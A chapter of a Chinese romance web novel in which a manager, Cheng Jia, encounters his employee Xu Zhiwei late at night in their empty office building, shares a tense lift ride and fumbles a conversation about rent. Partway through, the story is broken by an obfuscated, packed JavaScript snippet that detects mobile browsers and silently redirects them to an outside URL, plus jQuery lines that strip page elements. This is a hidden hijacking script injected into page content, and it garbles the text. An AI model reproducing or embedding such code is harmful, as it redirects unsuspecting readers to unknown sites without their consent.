程迦其实早就可以走了。
项目群最后一条回复发出去的时候，已过十一点半。整层楼空寂无声，连空调送风的低吟都清晰可辨。
他站起身，习惯性地走到落地窗前。
窗外是沉入睡眠的城市轮廓，远近高楼的灯光大多已熄灭，只剩零星几盏，像漂浮在夜色海洋里的孤独航标。
他的视线漫无目的地游移后，精准地投向办公室斜右方的位置——那是项目三组的开放式办公区。
其中一盏格子间的台灯，还亮着。
暖黄色的光晕，在一片深蓝的黑暗背景中，显得格外清晰，也格外孤独。
那盏灯属于许知微。
过去几年，这几乎成了他生物钟里一个无声的坐标。
只要那盏灯还亮着，他离开的脚步就会不自觉放慢，手头未完结的工作似乎也变得不那么急于收尾。
有时是处理邮件，有时是翻阅行业报告，有时只是站在这里，看着那点暖光，直到它终于熄灭。
然后，他才会关掉自己办公室的灯，走入同样寂静的夜色。
他从未深究这习惯因何而起，也从未想过让她知道。
这更像一种私人仪式，一种无声的、单方面的陪跑。
仿佛在漫长的马拉松里，知道赛道某处还有一个同样在坚持的身影，连自己那份孤独，都变得可以忍受一些。
可眼下，直播被封那晚的画面，连同那十秒里身体被迫呈现的、近乎献祭般的姿态，此刻却像被按下了循环播放键，在他脑海中反复闪回。
不仅仅是视觉记忆，更是一种残留的生理记忆——肌肉在特定指令下绷紧又放松的微妙战栗，喉间吞咽无形压力的干涩感，以及更深处某种被强行勾出、又无法名状的躁动。
他也因此停播几日了，连带着，雷打不动的健身日程也被懈怠。
这细微的变化，放在平日或许无伤大雅，但此刻，结合脑海里那些滚烫的闪回画面，却让他产生了一种近乎焦躁的失控感。
——他大腿线条，好像松了些。
他记得系统曾捕捉到过她某次幻想中，对这部分肌肉力量感的无意识偏好。
不能再这样懈怠下去，必须动起来，必须通过熟悉的、可控的体力消耗，去覆盖掉那些不请自来的生理渴望。
眼下，最方便的运动便是——爬楼梯。整栋楼几乎空无一人，这是最不受打扰的有氧环境。
可爬楼梯带来的心跳攀升，并没有带走多余的杂念，甚至加强了那些不受控闪回的片段——
她白天在会议室里冷静拆解他方案时锐利的眼神，接下新项目时那一闪而过的、被他误读为兴奋的神情，以及直播间里，她用五百块买下的那句跪下和随之而来的、近乎屈从的回应——随着攀升的体温一同蒸发殆尽。
程迦强迫自己将注意力集中在脚下每一级台阶的踩踏感上。
呼吸逐渐加重，在空旷的楼梯间形成清晰回响，身体终于开始发热，杂念也在多巴胺的释放下得到缓解。
当他终于踏上公司所在楼层的最后一级台阶，感应灯“啪”地骤然点亮——
他看见了全副武装的许知微。
她站在电梯厅的阴影交界处，背脊绷得像一张拉满的弓，双手紧握着一根不知从哪个角落找来的的长柄工具，横在身前。
她的眼神里充满了惊魂未定的警惕，像一只在巢穴旁突遇入侵者的夜行动物。
目光撞上的刹那，程迦的心脏像被无形的手攥了一下。
因为她脸上那种真实的、近乎苍白的恐惧。
他瞬间明白了自己制造了什么样的情境：深夜，空楼，突兀的脚步声从安全通道传来——他，是她眼中的危险。
“是我。”
声音出口，低哑而急促，甚至带了一丝他自己都没察觉到的慌乱。
他立刻停下所有动作，双手抬起，掌心向外，做出毫无威胁的姿态。
许知微没有动，只是死死盯着他，瞳孔在灯光下微微收缩，仿佛在辨认眼前是否真实安全。
那几秒的僵持，让程迦感到一种陌生的狼狈。
他习惯了她面对工作难题时的坚韧，甚至暗自欣赏她偶尔露出的锋利，却从未想过，她会因为他的存在本身，而露出如此脆弱戒备的一面。
他喉咙有些发干，试图用最平实的话语解释，打破这令人窒息的空气：“你还没走。”
听到这话，许知微紧绷的肩膀似乎微微松懈了一丝，但手中的武器并未放下，眼神里的疑虑也未完全散去。
程迦几乎是本能地，选择了最安全也最糟糕的话题：
“新项目……进度还顺利吗？”
话一出口，他就看到了她眼底迅速掠过的情绪——那是一种混合着疲惫、恼怒与果然如此的讥诮。
“……时间线已经发给你了。”她的声音有些沙哑，没好气地吐出几个字，显然不想多谈。
程迦知道她误会了，那句“我不是来催进度”的辩解在舌尖滚了滚，却被电梯到达的“叮”声打断。
梯门缓缓打开。
她像是终于找到了逃离这尴尬又令人不安的局面的出口，看也没再看他一眼，放下手里的武器（现在看起来更像扫把的手把），快步走向电梯。
眼看她就要踏入轿厢，梯门开始缓缓闭合。
那一瞬间，某种比理智更快的冲动攫住了程迦。
他长腿一迈，在电梯门即将完全合拢的最后一刹，伸手挡住了感应区。
门重新打开。
许知微站在电梯内，愕然地抬头看着他，眼神里满是疑惑，还有一丝未褪尽的警惕。
程迦对上她的视线，所有准备好的说辞都卡在了喉咙里。
他总不能说“我想送你安全去地铁站”。
他以什么身份？
目光掠过她因紧张而微微泛红的脸颊，他喉结动了动，最终只挤出一个干巴巴的、连自己都觉得蹩脚的理由：
“……我也下班了。”
说完，他侧身挤进电梯，几乎是下意识地，站到了离她最远的对角位置，迅速按下了一楼键。
梯门合拢，将外界最后一丝声响隔绝。狭小的金属空间瞬间被一种粘稠的寂静充斥，连通风口的微弱气流声都清晰可闻。
物理距离被强行压缩，她身上淡淡的、混合了咖啡与一丝疲惫的气息，隐隐飘散在空气里。
程迦能听到自己尚未完全平复的、因爬楼而略显急促的呼吸，以及，在寂静放大下，越来越清晰、越来越无法忽略的心跳声。
咚。
咚。
咚。
沉重而迅疾，撞击着胸腔，仿佛要挣脱肋骨。绝不全是因为刚才的运动。
这是他和她，极少有的、完全独处的密闭时刻。没有工作议题横亘其间，没有其他同事分散注意，只有这不足三平米的悬浮空间，以及两人之间那道无形的、却又因沉默而无比清晰的界限。
温度也在封闭的空气中无声攀升。
他甚至能感觉到自己后颈渗出的薄汗，也绝不全源于运动后的余热。
一个荒唐的念头，倏地划过脑海——如果电梯此刻突然故障，停在这不上不下的地方。
这个想法让他喉结猛地一滚，随即被更强烈的理智按灭。
他真的太卑劣。
现实中，电梯运行平稳，楼层数字规律地递减。
5…4…3…他心头升起一丝仓促的失落。
2…1…
“叮——”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127080|196129||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
轻快的提示音响起，梯门顺畅地向两侧滑开。
一楼大厅冷白明亮的灯光和略带凉意的夜风瞬间涌入，吹散了轿厢内那短暂凝结的、夹杂着复杂心绪的微妙空气。
怎么这么快？
他甚至没来得及整理好表情，没来得及想出一句更自然的告别。
许知微已经率先一步迈了出去，背影干脆，没有丝毫停留的意思。
程迦跟在后面走出电梯，看着她的身影迅速融入大厅的阴影，走向通往地铁口的方向。
程迦也抬脚跟上，一如既往地保持着安全距离——像白天会议室里那样，给对方留出足够的空间，又确保自己仍在场。
直到她忽然停下。
他还没来得及反应，她已经转过身来，甚至往前逼近了半步。
这个距离过近了，近到他能闻到她身上残留的咖啡与纸张混合的气味，还有加班后那种微凉的体温。
呼吸一屏。
“程总，”许知微开口，语气里带着一些烦躁，“你要是对我给的计划不满意，可以直接跟我讲。”
他不知怎么解释，只得抬手，指了指她身后不远处那片在夜色中轮廓分明的高档小区，灯光稀疏而安静。
“我住那边。”他最后开口。
许知微顺着他指的方向看了一眼，嘴角轻轻一挑。
“步行五分钟。”她轻哼了一声，语气凉凉的，“程总住得近，难怪天天留别人加班。”
程迦听出了她的调侃，却无从解释。
怎么解释？
他留她加班，是出于卑劣的私心，想多跟她待会儿？
许知微也没给他机会解释，转过身，继续往地铁站的方向走。
程迦赶紧快走跟上，试图找找话题：
“你也可以搬到这附近住。”
可话一出口，他就后悔了。
怎么听起来这么别扭？
果然，许知微停都没停，只低低地笑了一声，笑声里没有温度。
“我每个月到手刚好两万，”她边走边说，“住不起这么高级的地方。”
这个他可以解决！
所以程迦几乎是条件反射般地接话：
“这里不贵。”
可话音刚落，他就看到她肩背的线条明显绷了一下。
“也是。”她偏过头，语气带着刺，“程总肯定是买的房子，哪儿知道租金价。”
他立刻意识到自己似乎又踩错了一步，急切地补上：“我知道。我对面那个公寓最近就在招租，一万一个月，月付，挂出去挺久了都没租出去，前两天还在说要再降一千——”
她猛地停住。
程迦跟在后面，差点撞上她的后背，好在反应快，及时刹住了脚步。
夜风从两人之间穿过。
她慢慢转过头，看着他，眼神里有一种他从未见过的、近乎荒诞的不可置信。
“一个月一万块，”她一字一顿地说，“不贵？”
程迦一愣。
又报高了？
这还是他故意报低的价格。
对方要价一万四，他本想着，如果许知微感兴趣，他就去跟房东说，剩下的四千他出。
可即使这样，还是报高了。
他的大脑像是短暂地失去了坐标系，努力矫正自己的认知。
“好了，不许说了。”许知微抬手打断，语气里满是疲惫与烦躁，“本来加班赶进度就够烦的了。”
话音落下，她已经小跑着冲进了地铁站入口。感应灯亮起，又在她身影消失后迅速熄灭，只留下空荡荡的台阶和渐远的脚步声。
程迦站在原地，没有再追。
这么多年了，他还是一靠近，就会让她感到讨厌。